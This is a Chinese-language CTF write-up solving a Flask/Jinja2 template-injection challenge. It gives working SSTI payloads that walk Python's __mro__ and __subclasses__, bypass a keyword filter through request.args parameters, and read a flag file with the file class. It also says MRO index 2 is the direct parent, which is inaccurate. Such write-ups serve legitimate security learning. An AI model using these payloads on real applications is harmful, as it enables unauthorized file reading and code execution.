进来这张图片分析良久,大象,蛇,Python VS PHP?因为php图标就是大象
点击login,和register功能却无法显示页面给我人干懵了,还以为题目环境的问题
然后dirsearch和githack也没扫出东西来,看它的数据包却发现注释里写了flag存放地址
怎么读取flag呢?文件包含但是找不到源码,SSRF连参数都没有!
突破点估计还是在登录和注册这里
利用edge扩展查看了一下网站架构,看到是flask框架,这玩意就有可能是模版注入了!
输入表达式{{7*'7'}}看看
下面是判断模版注入的方法
输入{{7*‘7’}},返回49表示是 Twig 模块
输入{{7*‘7’}},返回7777777表示是 Jinja2 模块
回显7个7说明是jinja模版引擎
通过python的对象的继承来一步步实现文件读取和命令执行
思路:找到父类<type 'object'>-->寻找子类-->找关于命令执行或者文件操作的模块。
寻找可用的引用类payload:
"".__class__.__mro__[2].__subclasses__()
解析:"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes),而不是对象(objects)。
具体来说,__class__是一个内置属性,表示一个对象所属的类。通过调用__class__.__mro__,可以获取该类的方法解析顺序(Method Resolution Order,MRO),它是一个元组,按照查找方法时的顺序列出了对象所属类及其父类。
在MRO中,索引为2的元素表示对象所属类的直接父类。对于大多数类,索引为2处的元素是object类,因为大多数类都直接或间接继承自object类。
然后通过调用__subclasses__()方法,可以获取一个列表,其中包含了该类的所有子类。这些子类是可用的类,可以用于创建对象和调用其方法。
综上所述,"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes)。
flask jinja渲染引擎中格式:
控制结构 {% %}
变量取值 {{}}
注释 {# #}
构造payload:{{"".__class__.__mro__[2].__subclasses__()}} 查看可利用的类
提示让我们换一种方式,过滤了__class__这些基础类?
确定过滤基础类,得通过其他办法来进行调用
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
request.args.key ,args是参数,key可以是内置函数
request.args
被作为对象,通过.
获取其名为key
的属性值。不需要在外面加点
即""[request.args.__class__]和"".__class__效果是一样的,但是因为在语句中过滤了基础类,我们可以采取变量赋值的方式绕过限制
构造payload:
{{""[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
成功看到当前的可利用类并且找到file类的位置在第40(从0开始算)
可以利用我这个python小脚本来找,只复制[ ]列表里面的内容
# 输入一个字符串
input_str = input("请输入要分隔的元素,使用逗号分隔:")
# 将输入的字符串按逗号分隔成列表
elements = input_str.split(",")
# 打印每个元素及其位置
for index, element in enumerate(elements):
if "file" in element:
print(f"位置 {index}: {element.strip()}")
exit("found!")
找到file类的位置为40
原本靠
"".__class__.__mro__[-1].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()即可利用file读取文件,40就是file类在object中的位置,因为过滤我们构造payload:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
成功回显flag!看不懂的搜几篇文章看下,这篇也行;ssti详解与例题以及绕过payload大全_ssti绕过空格-CSDN博客